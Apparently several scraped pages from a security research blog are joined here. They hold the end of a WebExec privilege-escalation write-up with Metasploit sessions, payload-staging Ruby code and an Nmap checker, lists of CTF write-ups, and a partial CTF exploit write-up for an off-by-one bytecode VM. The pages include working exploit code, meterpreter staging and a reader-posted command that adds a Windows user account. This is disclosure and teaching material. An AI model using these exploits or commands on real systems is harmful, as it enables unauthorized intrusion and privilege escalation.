    msf5 auxiliary(admin/smb/webexec_command) > set SMBUser testuser
    SMBUser => testuser
    msf5 auxiliary(admin/smb/webexec_command) > set SMBPass testuser
    SMBPass => testuser
    msf5 auxiliary(admin/smb/webexec_command) > set COMMAND calc
    COMMAND => calc
    msf5 auxiliary(admin/smb/webexec_command) > exploit
    
    [-] 192.168.56.105:445    - No service handle retrieved
    [+] 192.168.56.105:445    - Command completed!
    [-] 192.168.56.103:445    - No service handle retrieved
    [+] 192.168.56.103:445    - Command completed!
    [+] 192.168.56.104:445    - Command completed!
    [+] 192.168.56.101:445    - Command completed!
    [*] 192.168.56.100-110:445 - Scanned 11 of 11 hosts (100% complete)
    [*] Auxiliary module execution completed
    

    And here's the full exploit module:

    msf5 > use exploit/windows/smb/webexec
    msf5 exploit(windows/smb/webexec) > set SMBUser testuser
    SMBUser => testuser
    msf5 exploit(windows/smb/webexec) > set SMBPass testuser
    SMBPass => testuser
    msf5 exploit(windows/smb/webexec) > set PAYLOAD windows/meterpreter/bind_tcp
    PAYLOAD => windows/meterpreter/bind_tcp
    msf5 exploit(windows/smb/webexec) > set RHOSTS 192.168.56.101
    RHOSTS => 192.168.56.101
    msf5 exploit(windows/smb/webexec) > exploit
    
    [*] 192.168.56.101:445 - Connecting to the server...
    [*] 192.168.56.101:445 - Authenticating to 192.168.56.101:445 as user 'testuser'...
    [*] 192.168.56.101:445 - Command Stager progress -   0.96% done (999/104435 bytes)
    [*] 192.168.56.101:445 - Command Stager progress -   1.91% done (1998/104435 bytes)
    ...
    [*] 192.168.56.101:445 - Command Stager progress -  98.52% done (102891/104435 bytes)
    [*] 192.168.56.101:445 - Command Stager progress -  99.47% done (103880/104435 bytes)
    [*] 192.168.56.101:445 - Command Stager progress - 100.00% done (104435/104435 bytes)
    [*] Started bind TCP handler against 192.168.56.101:4444
    [*] Sending stage (179779 bytes) to 192.168.56.101
    

    The actual implementation is mostly straight forward if you look at the code linked above, but I wanted to specifically talk about the exploit module, since it had an interesting problem: how do you initially get a meterpreter .exe uploaded to execute it?

    I started by using a psexec-like exploit where we upload the .exe file to a writable share, then execute it via WebExec. That proved problematic, because uploading to a share frequently requires administrator privileges, and at that point you could simply use psexec instead. You lose the magic of WebExec!

    After some discussion with Egyp7, I realized I could use the Msf::Exploit::CmdStager mixin to stage the command to an .exe file to the filesystem. Using the .vbs flavor of staging, it would write a Base64-encoded file to the disk, then a .vbs stub to decode and execute it!

    There are several problems, however:

    • The max line length is ~1200 characters, whereas the CmdStager mixin uses ~2000 characters per line
    • CmdStager uses %TEMP% as a temporary directory, but our exploit doesn't expand paths
    • WebExecService seems to escape quotation marks with a backslash, and I'm not sure how to turn that off

    The first two issues could be simply worked around by adding options (once I'd figured out the options to use):

    wexec(true) do |opts|
      opts[:flavor] = :vbs
      opts[:linemax] = datastore["MAX_LINE_LENGTH"]
      opts[:temp] = datastore["TMPDIR"]
      opts[:delay] = 0.05
      execute_cmdstager(opts)
    end
    

    execute_cmdstager() will execute execute_command() over and over to build the payload on-disk, which is where we fix the final issue:

    # This is the callback for cmdstager, which breaks the full command into
    # chunks and sends it our way. We have to do a bit of finangling to make it
    # work correctly
    def execute_command(command, opts)
      # Replace the empty string, "", with a workaround - the first 0 characters of "A"
      command = command.gsub('""', 'mid(Chr(65), 1, 0)')
    
      # Replace quoted strings with Chr(XX) versions, in a naive way
      command = command.gsub(/"[^"]*"/) do |capture|
        capture.gsub(/"/, "").chars.map do |c|
          "Chr(#{c.ord})"
        end.join('+')
      end
    
      # Prepend "cmd /c" so we can use a redirect
      command = "cmd /c " + command
    
      execute_single_command(command, opts)
    end
    

    First, it replaces the empty string with mid(Chr(65), 1, 0), which works out to characters 1 - 1 of the string "A". Or the empty string!

    Second, it replaces every other string with Chr(n)+Chr(n)+.... We couldn't use &, because that's already used by the shell to chain commands. I later learned that we can escape it and use ^&, which works just fine, but + is shorter so I stuck with that.

    And finally, we prepend cmd /c to the command, which lets us echo to a file instead of just passing the > symbol to the process. We could probably use ^> instead.

    In a targeted attack, it's obviously possible to do this much more cleanly, but this seems to be a great way to do it generically!

    Checking for the patch

    This is one of those rare (or maybe not so rare?) instances where exploiting the vulnerability is actually easier than checking for it!

    The patched version of WebEx still allows remote users to connect to the process and start it. However, if the process detects that it's being asked to run an executable that is not signed by WebEx, the execution will halt. Unfortunately, that gives us no information about whether a host is vulnerable!

    There are a lot of targeted ways we could validate whether code was run. We could use a DNS request, telnet back to a specific port, drop a file in the webroot, etc. The problem is that unless we have a generic way to check, it's no good as a script!

    In order to exploit this, you have to be able to get a handle to the service-controlservice (svcctl), so to write a checker, I decided to install a fake service, try to start it, then delete the service. If starting the service returns either OK or ACCESS_DENIED, we know it worked!

    Here's the important code from the Nmap checker module we developed:

    -- Create a test service that we can query
    local webexec_command = "sc create " .. test_service .. " binpath= c:\\fakepath.exe"
    status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], stdnse.strsplit(" ", "install software-update 1 " .. webexec_command))
    
    -- ...
    
    local test_status, test_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], test_service, 0x00000)
    
    -- If the service DOES_NOT_EXIST, we couldn't run code
    if string.match(test_result, 'DOES_NOT_EXIST') then
      stdnse.debug("Result: Test service does not exist: probably not vulnerable")
      msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
    
      vuln.check_results = "Could not execute code via WebExService"
      return report:make_output(vuln)
    end
    

    Not shown: we also delete the service once we're finished.

    Conclusion

    So there you have it! Escalating privileges from zero to SYSTEM using WebEx's built-in update service! Local and remote! Check out webexec.org for tools and usage instructions!

    4 thoughts on “Technical Rundown of WebExec

    1. Reply

      Benjamin

      Nice write up!

    2. Reply

      Gil

      I have been trying to use smb-vuln-webexe.nse, it seems to attempt to connect to CUSTOMERS\. In the code, it starts smb with msrpc.start_smb(host, msrpc.SVCCTL_PATH). How is that SVCCTL_PATH getting set? No matter what username and password I provide (I know the ones I am giving are good on the domain and on the test host), it keeps telling me it failed to connect with that username...
      SMB: Extended login to as CUSTOMERS\ failed (NT_STATUS_LOGON_FAILURE)

    3. Reply

      Joseph S Pierini

      Ron,

      Could you give me a bit of an understanding of your test bed? I have been unable to reproduce this using the version you provided running on various Windows 7 Pro/Ultimate platforms.

      The nmap script outputs the following:

      nmap --script smb-webexec-exploit --script-args='smbuser=admin,smbpass=password,smbdomain=WORKGROUP,webexec_command=net user nmap nmap /add' -p445 -d 192.168.1.206
      Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-07 14:00 PST
      --------------- Timing report ---------------
      hostgroups: min 1, max 100000
      rtt-timeouts: init 1000, min 100, max 10000
      max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
      parallelism: min 0, max 0
      max-retries: 10, host-timeout: 0
      min-rate: 0, max-rate: 0
      ---------------------------------------------
      NSE: Using Lua 5.3.
      NSE: Arguments from CLI: smbuser=admin,smbpass=password,smbdomain=WORKGROUP,webexec_command=net user nmap nmap /add
      NSE: Arguments parsed: smbuser=admin,smbpass=password,smbdomain=WORKGROUP,webexec_command=net user nmap nmap /add
      NSE: Loaded 1 scripts for scanning.
      NSE: Script Pre-scanning.
      NSE: Starting runlevel 1 (of 1) scan.
      Initiating NSE at 14:00
      Completed NSE at 14:00, 0.00s elapsed
      Initiating Ping Scan at 14:00
      Scanning 192.168.1.206 [2 ports]
      Completed Ping Scan at 14:00, 0.00s elapsed (1 total hosts)
      Overall sending rates: 1581.03 packets / s.
      mass_rdns: Using DNS server 8.8.8.8
      Initiating Parallel DNS resolution of 1 host. at 14:00
      mass_rdns: 0.02s 0/1 [#: 1, OK: 0, NX: 0, DR: 0, SF: 0, TR: 1]
      Completed Parallel DNS resolution of 1 host. at 14:00, 0.02s elapsed
      DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
      Initiating Connect Scan at 14:00
      Scanning 192.168.1.206 [1 port]
      Discovered open port 445/tcp on 192.168.1.206
      Completed Connect Scan at 14:00, 0.00s elapsed (1 total ports)
      Overall sending rates: 1138.95 packets / s.
      NSE: Script scanning 192.168.1.206.
      NSE: Starting runlevel 1 (of 1) scan.
      Initiating NSE at 14:00
      NSE: Starting smb-webexec-exploit against 192.168.1.206:445.
      NSE: [smb-webexec-exploit 192.168.1.206:445] SMB: Added account '' to account list
      NSE: [smb-webexec-exploit 192.168.1.206:445] SMB: Added account 'guest' to account list
      NSE: [smb-webexec-exploit 192.168.1.206:445] SMB: Added account 'admin' to account list
      NSE: [smb-webexec-exploit 192.168.1.206:445] LM Password: 50415353574f5244
      NSE: [smb-webexec-exploit 192.168.1.206:445] Trying to open the remote service manager
      NSE: Finished smb-webexec-exploit against 192.168.1.206:445.
      Completed NSE at 14:00, 0.01s elapsed
      Nmap scan report for 192.168.1.206
      Host is up, received conn-refused (0.00053s latency).
      Scanned at 2018-11-07 14:00:01 PST for 0s

      PORT STATE SERVICE REASON
      445/tcp open microsoft-ds syn-ack
      | smb-webexec-exploit:
      |_ ERROR: Error: WebExService could not be accessed by WORKGROUP\admin
      Final times for host: srtt: 531 rttvar: 3789 to: 100000

      NSE: Script Post-scanning.
      NSE: Starting runlevel 1 (of 1) scan.
      Initiating NSE at 14:00
      Completed NSE at 14:00, 0.00s elapsed
      Read from /usr/local/bin/../share/nmap: nmap-payloads nmap-services.
      Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds

      The Metasploit module gives these errors:

      [*] 192.168.1.206:445 - Command Stager progress - 0.96% done (999/104435 bytes)
      [-] 192.168.1.206:445 - Service failed to start, ERROR_CODE: 1056
      [*] 192.168.1.206:445 - Command Stager progress - 1.91% done (1998/104435 bytes)
      [-] 192.168.1.206:445 - Service failed to start, ERROR_CODE: 1056
      [*] 192.168.1.206:445 - Command Stager progress - 2.87% done (2997/104435 bytes)

      Etc...

      The local command line "C:\Users\Bob>sc start webexservice a software-update 1 wmic process call create "cmd.exe"" is only successful if run as an administrator.

      @harmj0y's PowerUp script will work against this service, sort of. If we run "Install-ServiceBinary -Name 'WebexService' -UserName Test -Password Password -LocalGroup Administrators" as a low privileged user and then attempt to start the service via the GUI with the same user, we can successfully execute a command. But I haven't been able to get this vector to be anything other than a local priv escalation attack.

    4. Reply

      chris

      love your blog posts :) glad to see you dropping, yet another, awesome one

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### May » 2015 » SkullSecurity

    Defcon Quals: babyecho (format string vulns in gory detail)

    Welcome to the third (and penultimate) blog post about the 2015 Defcon Qualification CTF! This is going to be a writeup of the "babyecho" level, as well as a thorough overview of format-string vulnerabilities! I really like format string vulnerabilities - they're essentially a "read or write anywhere" primitive - so I'm excited to finally […]

    Defcon Quals: Access Control (simple reverse engineer)

    Hello all, Today's post will be another write-up from the Defcon CTF Qualifiers. This one will be the level called "Access Client", or simply "client", which was a one-point reverse engineering level. This post is going to be mostly about the process I use for reverse engineering crypto-style code - it's a much different process […]

    Defcon Quals: r0pbaby (simple 64-bit ROP)

    This past weekend I competed in the Defcon CTF Qualifiers from the Legit Business Syndicate. In the past it's been one of my favourite competitions, and this year was no exception! Unfortunately, I got stuck for quite a long time on a 2-point problem ("wwtw") and spent most of my weekend on it. But I […]

    #####EOF##### September » 2012 » SkullSecurity

    Everything you need to know about hash length extension attacks

    You can grab the hash_extender tool on Github! (Administrative note: I'm no longer at Tenable! I left on good terms, and now I'm a consultant at Leviathan Security Group. Feel free to contact me if you need more information!) Awhile back, my friend @mogigoma and I were doing a capture-the-flag contest at https://stripe-ctf.com. One of […]

    #####EOF##### PlaidCTF 2014 » SkullSecurity

    PlaidCTF writeup for Pwn-275 – Kappa (type confusion vuln)

    Hey folks, This is my last writeup for PlaidCTF! You can get a list of all my writeups here. Kappa is a 275-point pwnable level called Kappa, and the goal is to capture a bunch of Pokemon and make them battle each other! Ultimately, this issue came down to a type-confusion bug that let us […]

    PlaidCTF writeup for Pwn-200 (a simple overflow bug)

    I know what you're thinking of: what's with all the Web levels!? Well, I was saving the exploitation levels for last! This post will be about Pwnable-200 (ezhp), and the next one will be Pwnable-275 (kappa). You can get the binary for ezhp here, and I highly recommend poking at this if you're interested in […]

    PlaidCTF writeup for Web-300 – whatscat (SQL Injection via DNS)

    Hey folks, This is my writeup for Whatscat, just about the easiest 300-point Web level I've ever solved! I wouldn't normally do a writeup about a level like this, but much like the mtpox level I actually wrote the exact tool for exploiting this, and even wrote a blog post about it almost exactly 4 […]

    PlaidCTF writeup for Web-200 – kpop (bad deserialization)

    Hello again! This is my second writeup from PlaidCTF this past weekend! It's for the Web level called kpop, and is about how to shoot yourself in the foot by misusing serialization (download the files). There are at least three levels I either solved or worked on that involved serialization attacks (mtpox, reeekeeeeee, and this […]

    PlaidCTF writeup for Web-150 – mtpox (hash extension attack)

    Hey folks, This is going to be my first of a couple writeups about this past weekend's CTF: PlaidCTF! My first writeup is for a 150-point Web level called mtpox. I chose this one to do first not only because it's the first level I completed, but also because the primary vulnerability was a hash […]

    #####EOF##### November » 2009 » SkullSecurity

    Pwning hotel guests

    Greetings everybody! I spent a good part of the past month traveling, which meant staying in several hotels, both planned and unplanned. There's nothing like having a canceled flight and spending a boring night in San Francisco! But hey, why be bored when you have a packet sniffer installed? :)

    #####EOF##### Defcon Quals 2015 » SkullSecurity

    Defcon quals: wwtw (a series of vulns)

    Hey folks, This is going to be my final (and somewhat late) writeup for the Defcon Qualification CTF. The level was called "wibbly-wobbly-timey-wimey", or "wwtw", and was a combination of a few things (at least the way I solved it): programming, reverse engineering, logic bugs, format-string vulnerabilities, some return-oriented programming (for my solution), and Dr. […]

    Defcon Quals: babyecho (format string vulns in gory detail)

    Welcome to the third (and penultimate) blog post about the 2015 Defcon Qualification CTF! This is going to be a writeup of the "babyecho" level, as well as a thorough overview of format-string vulnerabilities! I really like format string vulnerabilities - they're essentially a "read or write anywhere" primitive - so I'm excited to finally […]

    Defcon Quals: Access Control (simple reverse engineer)

    Hello all, Today's post will be another write-up from the Defcon CTF Qualifiers. This one will be the level called "Access Client", or simply "client", which was a one-point reverse engineering level. This post is going to be mostly about the process I use for reverse engineering crypto-style code - it's a much different process […]

    Defcon Quals: r0pbaby (simple 64-bit ROP)

    This past weekend I competed in the Defcon CTF Qualifiers from the Legit Business Syndicate. In the past it's been one of my favourite competitions, and this year was no exception! Unfortunately, I got stuck for quite a long time on a 2-point problem ("wwtw") and spent most of my weekend on it. But I […]

    #####EOF##### GitS 2015: Giggles (off-by-one virtual machine) » SkullSecurity


    GitS 2015: Giggles (off-by-one virtual machine)

    Welcome to part 3 of my Ghost in the Shellcode writeup! Sorry for the delay, I actually just moved to Seattle. On a sidenote, if there are any Seattle hackers out there reading this, hit me up and let's get a drink!

    Now, down to business: this writeup is about one of the Pwnage 300 levels; specifically, Giggles, which implements a very simple and very vulnerable virtual machine. You can download the binary here, the source code here (with my comments - I put XXX near most of the vulnerabilities and bad practices I noticed), and my exploit here.

    One really cool aspect of this level was that they gave source code, a binary with symbols, and even a client (that's the last time I'll mention their client, since I dislike Python :) )! That means we could focus on exploitation and not reversing!

    The virtual machine

    I'll start by explaining how the virtual machine actually works. If you worked on this level yourself, or you don't care about the background, you can just skip over this section.

    Basically, there are three operations: TYPE_ADDFUNC, TYPE_VERIFY, and TYPE_RUNFUNC.

    The usual process is that the user adds a function using TYPE_ADDFUNC, which is made up of one (possibly zero?) or more operations. Then the user verifies the function, which checks for bounds violations and stuff like that. Then if that succeeds, the user can run the function. The function can take up to 10 arguments and output as much as it wants.

    There are only seven different opcodes (types of operations), and one of the tricky parts is that none of them deal with absolute values—only other registers. They are:

    • OP_ADD reg1, reg2 - add two registers together, and store the result in reg1
    • OP_BR <addr> - branch (jump) to a particular instruction - the granularity of these jumps is actually per-instruction, not per-byte, so you can't jump into the middle of another instruction, which ruined my initial instinct :(
    • OP_BEQ <addr> <reg1> <reg2> / OP_BGT <addr> <reg1> <reg2> - branch if equal and branch if greater than are basically the same as OP_BR, except the jumps are conditional
    • OP_MOV <reg1> <reg2< - set reg1 to equal reg2
    • OP_OUT <reg> - output a register (gets returned as a hex value by RUNFUNC)
    • OP_EXIT - terminate the function

    To expand on the output just a bit - the program maintains the output in a buffer that's basically a series of space-separated hex values. At the end of the program (when it either terminates or OP_EXIT is called), it's sent back to the client. I was initially worried that I would have to craft some hex-with-spaces shellcode, but thankfully that wasn't necessary. :)

    There are 10 different registers that can be accessed. Each one is 32 bits. The operand values, however, are all 64-bit values.

    The verification process basically ensures that the registers and the addresses are mostly sane. Once it's been validated, a flag is switched and the function can be called. If you call the function before verifying it, it'll fail immediately. If you can use arbitrary bytecode instructions, you'd be able to address register 1000000, say, and read/write elsewhere in memory. They wanted to prevent that.

    Speaking of the vulnerability, the bug that leads to full code execution is in the verify function - can you find it before I tell you?

    The final thing to mention is arguments: when you call TYPE_RUNFUNC, you can pass up to I think 10 arguments, which are 32-bit values that are placed in the first 8 registers.

    Fixing the binary

    I've gotten pretty efficient at patching binaries for CTFs! I've talked about this before, so I'll just mention what I do briefly.

    I do these things immediately, before I even start working on the challenge:

    • Replace the call to alarm() with NOPs
    • Replace the call to fork() with "xor eax, eax", followed by NOPs
    • Replace the call to drop_privs() with NOPs
    • (if I can find it)

    That way, the process won't be killed after a timeout, and I can debug it without worrying about child processes holding onto ports and other irritations. NOPing out drop_privs() means I don't have to worry about adding a user or running it as root or creating a folder for it. If you look at the objdump outputs diffed, here's what it looks like:

    --- a   2015-01-27 13:30:29.000000000 -0800
    +++ b   2015-01-27 13:30:31.000000000 -0800
    @@ -1,5 +1,5 @@
    
    -giggles:     file format elf64-x86-64
    +giggles-fixed:     file format elf64-x86-64
    
    
     Disassembly of section .interp:
    @@ -1366,7 +1366,10 @@
         125b:      83 7d f4 ff             cmp    DWORD PTR [rbp-0xc],0xffffffff
         125f:      75 02                   jne    1263 <loop+0x3d>
         1261:      eb 68                   jmp    12cb <loop+0xa5>
    -    1263:      e8 b8 fc ff ff          call   f20 <fork@plt>
    +    1263:      31 c0                   xor    eax,eax
    +    1265:      90                      nop
    +    1266:      90                      nop
    +    1267:      90                      nop
         1268:      89 45 f8                mov    DWORD PTR [rbp-0x8],eax
         126b:      83 7d f8 ff             cmp    DWORD PTR [rbp-0x8],0xffffffff
         126f:      75 02                   jne    1273 <loop+0x4d>
    @@ -1374,14 +1377,26 @@
         1273:      83 7d f8 00             cmp    DWORD PTR [rbp-0x8],0x0
         1277:      75 48                   jne    12c1 <loop+0x9b>
         1279:      bf 1e 00 00 00          mov    edi,0x1e
    -    127e:      e8 6d fb ff ff          call   df0 <alarm@plt>
    +    127e:      90                      nop
    +    127f:      90                      nop
    +    1280:      90                      nop
    +    1281:      90                      nop
    +    1282:      90                      nop
         1283:      48 8d 05 b6 1e 20 00    lea    rax,[rip+0x201eb6]        # 203140 <USER>
         128a:      48 8b 00                mov    rax,QWORD PTR [rax]
         128d:      48 89 c7                mov    rdi,rax
    -    1290:      e8 43 00 00 00          call   12d8 <drop_privs_user>
    +    1290:      90                      nop
    +    1291:      90                      nop
    +    1292:      90                      nop
    +    1293:      90                      nop
    +    1294:      90                      nop
         1295:      8b 45 ec                mov    eax,DWORD PTR [rbp-0x14]
         1298:      89 c7                   mov    edi,eax
    
    

    I just use a simple hex editor on Windows, xvi32.exe, to take care of that. But you can do it in countless other ways, obviously.

    What's wrong with verifyBytecode()?

    Have you found the vulnerability yet?

    I'll give you a hint: look at the comparison operators in this function:

    int verifyBytecode(struct operation * bytecode, unsigned int n_ops)
    {
        unsigned int i;
        for (i = 0; i < n_ops; i++)
        {
            switch (bytecode[i].opcode)
            {
                case OP_MOV:
                case OP_ADD:
                    if (bytecode[i].operand1 > NUM_REGISTERS)
                        return 0;
                    else if (bytecode[i].operand2 > NUM_REGISTERS)
                        return 0;
                    break;
                case OP_OUT:
                    if (bytecode[i].operand1 > NUM_REGISTERS)
                        return 0;
                    break;
                case OP_BR:
                    if (bytecode[i].operand1 > n_ops)
                        return 0;
                    break;
                case OP_BEQ:
                case OP_BGT:
                    if (bytecode[i].operand2 > NUM_REGISTERS)
                        return 0;
                    else if (bytecode[i].operand3 > NUM_REGISTERS)
                        return 0;
                    else if (bytecode[i].operand1 > n_ops)
                        return 0;
                    break;
                case OP_EXIT:
                    break;
                default:
                    return 0;
            }
        }
        return 1;
    }
    

    Notice how it checks every operation? It checks if the index is greater than the maximum value. That's an off-by-one error. Oops!

    Information leak

    There are actually a lot of small issues in this code. The first good one I noticed was actually that you can output one extra register. Here's what I mean (grab my exploit if you want to understand the API):

    def demo()
      s = TCPSocket.new(SERVER, PORT)
    
      ops = []
      ops << create_op(OP_OUT, 10)
      add(s, ops)
      verify(s, 0)
      result = execute(s, 0, [])
    
      pp result
    end
    

    The output of that operation is:
    "42fd35d8 "

    Which, it turns out, is a memory address that's right after a "call" function. A return address!? Can it be this easy!?

    It turns out that, no, it's not that easy. While I can read / write to that address, effectively bypasing ASLR, it turned out to be some left-over memory from an old call. I didn't even end up using that leak, either, I found a better one!

    The actual vulnerabilitiy

    After finding the off-by-one bug that let me read an extra register, I didn't really think much more about it. Later on, I came back to the verifyBytecode() function and noticed that the BR/BEQ/BGT instructions have the exact same bug! You can branch to the last instruction + 1, where it keeps running unverified memory as if it's bytecode!

    What comes after the last instruction in memory? Well, it turns out to be a whole bunch of zeroes (00 00 00 00...), then other functions you've added, verified or otherwise. An instruction is 26 bytes long in memory (two bytes for the opcode, and three 64-bit operands), and the instruction "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" actually maps to "add reg0, reg0", which is nice and safe to do over and over again (although it does screw up the value in reg0).

    Aligning the interpreter

    At this point, it got a bit complicated. Sure, I'd found a way to break out of the sandbox to run unverified code, but it's not as straight forward as you might think.

    The problem? The spacing of the different "functions" in memory (that is, groups of operations) aren't multiples of 26 bytes apart, thanks to headers, so if you break out of one function and into another, you wind up trying to execute bytecode that's somewhat offset.

    In other words, if your second function starts at address 0, the interpreter tries to run the bytecode at -12 (give or take). The bytecode at -12 just happens to be the number of instructions in the function, so the first opcode is actually equal to the number of operations (so if you have three operations in the function, the first operation will be opcode 3, or BEQ). Its operands are bits and pieces of the opcodes and operands. Basically, it's a big mess.

    To get this working, I wanted to basically just skip over that function altogether and run the third function (which would hopefully be a little better aligned). Basically, I wanted the function to do nothing dangerous, then continue on to the third function.

    Here's the code I ended up writing (sorry the formatting isn't great, check out the exploit I linked above to see it better):

    # This creates a valid-looking bytecode function that jumps out of bounds,
    # then a non-validated function that puts us in a more usable bytecode
    # escape
    def init()
      puts("[*] Connecting to #{SERVER}:#{PORT}")
      s = TCPSocket.new(SERVER, PORT)
      #puts("[*] Connected!")
    
      ops = []
    
      # This branches to the second instruction - which doesn't exist
      ops << create_op(OP_BR, 1)
      add(s, ops)
      verify(s, 0)
    
      # This little section takes some explaining. Basically, we've escaped the bytecode
      # interpreter, but we aren't aligned properly. As a result, it's really irritating
      # to write bytecode (for example, the code of the first operation is equal to the
      # number of operations!)
      #
      # Because there are 4 opcodes below, it performs opcode 4, which is 'mov'. I ensure
      # that both operands are 0, so it does 'mov reg0, reg0'.
      #
      # After that, the next one is a branch (opcode 1) to offset 3, which effectively
      # jumps past the end and continues on to the third set of bytecode, which is out
      # ultimate payload.
    
      ops = []
      # (operand = count)
      #                  |--|               |---|                                          <-- inst1 operand1 (0 = reg0)
      #                          |--------|                    |----|                      <-- inst1 operand2 (0 = reg0)
      #                                                                        |--|        <-- inst2 opcode (1 = br)
      #                                                                  |----|            <-- inst2 operand1
      ops << create_op(0x0000, 0x0000000000000000, 0x4242424242000000, 0x00003d0001434343)
      #                  |--|              |----|                                          <-- inst2 operand1
      ops << create_op(0x0000, 0x4444444444000000, 0x4545454545454545, 0x4646464646464646)
      # The values of these don't matter, as long as we still have 4 instructions
      ops << create_op(0xBBBB, 0x4747474747474747, 0x4848484848484848, 0x4949494949494949)
      ops << create_op(0xCCCC, 0x4a4a4a4a4a4a4a4a, 0x4b4b4b4b4b4b4b4b, 0x4c4c4c4c4c4c4c4c)
    
      # Add them
      add(s, ops)
    
      return s
    end
    

    The comments explain it pretty well, but I'll explain it again. :)

    The first opcode in the unverified function is, as I mentioned, equal to the number of operations. We create a function with 4 operations, which makes it a MOV instruction. Performing a MOV is pretty safe, especially since reg0 is already screwed up.

    The two operands to instruction 1 are parts of the opcodes and operands of the first function. And the opcode for the second instruction is part of third operand in the first operation we create. Super confusing!

    Effectively, this ends up running:

    mov reg0, reg0
    br 0x3d
    ; [bad instructions that get skipped]
    

    I'm honestly not sure why I chose 0x3d as the jump distance, I suspect it's just a number that I was testing with that happened to work. The instructions after the BR don't matter, so I just fill them in with garbage that's easy to recognize in a debugger.

    So basically, this function just does nothing, effectively, which is exactly what I wanted.

    Getting back in sync

    I hoped that the third function would run perfectly, but because of math, it still doesn't. However, the operation count no longer matters in the third function, which is good enough for me! After doing some experiments, I determined that the instructions are unaligned by 0x10 (16) bytes. If you pad the start with 0x10 bytes then add instructions as normal, they'll run completely unverified.

    To build the opcodes for the third function, I added a parameter to the add() function that lets you offset things:

    #[...]
      # We have to cleanly exit
      ops << create_op(OP_EXIT)
    
      # Add the list of ops, offset by 10 (that's how the math worked out)
      add(s, ops, 16)
    #[...]
    

    Now you can run entirely unverified bytecode instructions! That means full read/write/execute of arbitrary addresses relative to the base address of the registers array. That's awesome! Because the registers array is on the stack, we have read/write access relative to a stack address. That means you can trivially read/write the return address and leak addresses of the binary, libc, or anything you want. ASLR bypass and RIP control instantly!

    Leaking addresses

    There are two separate sets of addresses that need to be leaked. It turns out that even though ASLR is enabled, the addresses don't actually randomize between different connections, so I can leak addresses, reconnect, leak more addresses, reconnect, and run the exploit. It's not the cleanest way to solve the level, but it worked! If this didn't work, I could have written a simple multiplexer bytecode function that does all these things using the same function.

    I mentioned I can trivially leak the binary address and a stack address. Here's how:

    # This function leaks two addresses: a stack address and the address of
    # the binary image (basically, defeating ASLR)
    def leak_addresses()
      puts("[*] Bypassing ASLR by leaking stack/binary addresses")
      s = init()
    
      # There's a stack address at offsets 24/25
      ops = []
      ops << create_op(OP_OUT, 24)
      ops << create_op(OP_OUT, 25)
    
      # 26/27 is the return address, we'll use it later as well!
      ops << create_op(OP_OUT, 26)
      ops << create_op(OP_OUT, 27)
    
      # We have to cleanly exit
      ops << create_op(OP_EXIT)
    
      # Add the list of ops, offset by 10 (that's how the math worked out)
      add(s, ops, 16)
    
      # Run the code
      result = execute(s, 0, [])
    
      # The result is a space-delimited array of hex values, convert it to
      # an array of integers
      a = result.split(/ /).map { |str| str.to_i(16) }
    
      # Read the two values in and do the math to calculate them
      @@registers = ((a[1] << 32) | (a[0])) - 0xc0
      @@base_addr = ((a[3] << 32) | (a[2])) - 0x1efd
    
      # User output
      puts("[*] Found the base address of the register array: 0x#{@@registers.to_s(16)}")
      puts("[*] Found the base address of the binary: 0x#{@@base_addr.to_s(16)}")
    
      s.close
    end
    

    Basically, we output registers 24, 25, 26, and 27. Since the OUT function is 4 bytes, you have to call OUT twice to leak a 64-bit address.

    Registers 24 and 25 are an address on the stack. The address is 0xc0 bytes above the address of the registers variable (which is the base address of our overflow, and therefore needed for calculating offsets), so we subtract that. I determined the 0xc0 value using a debugger.

    Registers 26 and 27 are the return address of the current function, which happens to be 0x1efd bytes into the binary (determined with IDA). So we subtract that value from the result and get the base address of the binary.

    I also found a way to leak a libc address here, but since I never got a copy of libc I didn't bother keeping that code around.

    Now that we have the base address of the binary and the address of the registers, we can use the OUT and MOV operations, plus a little bit of math, to read and write anywhere in memory.

    Quick aside: getting enough sleep

    You may not know this, but I work through CTF challenges very slowly. I like to understand every aspect of everything, so I don't rush. My secret is, I can work tirelessly at these challenges until they're complete. But I'll never win a race.

    I got to this point at around midnight, after working nearly 10 hours on this challenge. Most CTFers will wonder why it took 10 hours to get here, so I'll explain again: I work slowly. :)

    The problem is, I forgot one very important fact: that the operands to each operation are all 64-bit values, even though the arguments and registers themselves are 32-bit. That means we can calculate an address from the register array to anywhere in memory. I thought they were 32 bit, however, and since the process is 64-bit Ii'd be able to read/write the stack, but not addresses the binary! That wasn't true, I could write anywhere, but I didn't know that. So I was trying a bunch of crazy stack stuff to get it working, but ultimately failed.

    At around 2am I gave up and played video games for an hour, then finished the book I was reading. I went to bed about 3:30am, still thinking about the problem. Laying in bed about 4am, it clicked in that register numbers could be 64-bit, so I got up and finished it up for about 7am. :)

    The moral of this story is: sometimes it pays to get some rest when you're struggling with a problem!

    +rwx memory!?

    The authors of the challenge must have been feeling extremely generous: they gave us a segment of memory that's readable, writeable, and executable! You can write code to it then run it! Here's where it's declared:

    void * JIT;     // TODO: add code to JIT functions
    
    //[...]
    
        /* Map 4096 bytes of executable memory */
        JIT = mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    

    A pointer to the memory is stored in a global variable. Since we have the ability to read an arbitrary address—once I realized my 64-bit problem—it was pretty easy to read the pointer:

    def leak_rwx_address()
      puts("[*] Attempting to leak the address of the mmap()'d +rwx memory...")
      s = init()
    
      # This offset is always constant, from the binary
      jit_ptr = @@base_addr + 0x20f5c0
    
      # Read both halves of the address - the read is relative to the stack-
      # based register array, and has a granularity of 4, hence the math
      # I'm doing here
      ops = []
      ops << create_op(OP_OUT, (jit_ptr - @@registers) / 4)
      ops << create_op(OP_OUT, ((jit_ptr + 4) - @@registers) / 4)
      ops << create_op(OP_EXIT)
      add(s, ops, 16)
      result = execute(s, 0, [])
    
      # Convert the result from a space-delimited hex list to an integer array
      a = result.split(/ /).map { |str| str.to_i(16) }
    
      # Read the address
      @@rwx_addr = ((a[1] << 32) | (a[0]))
    
      # User output
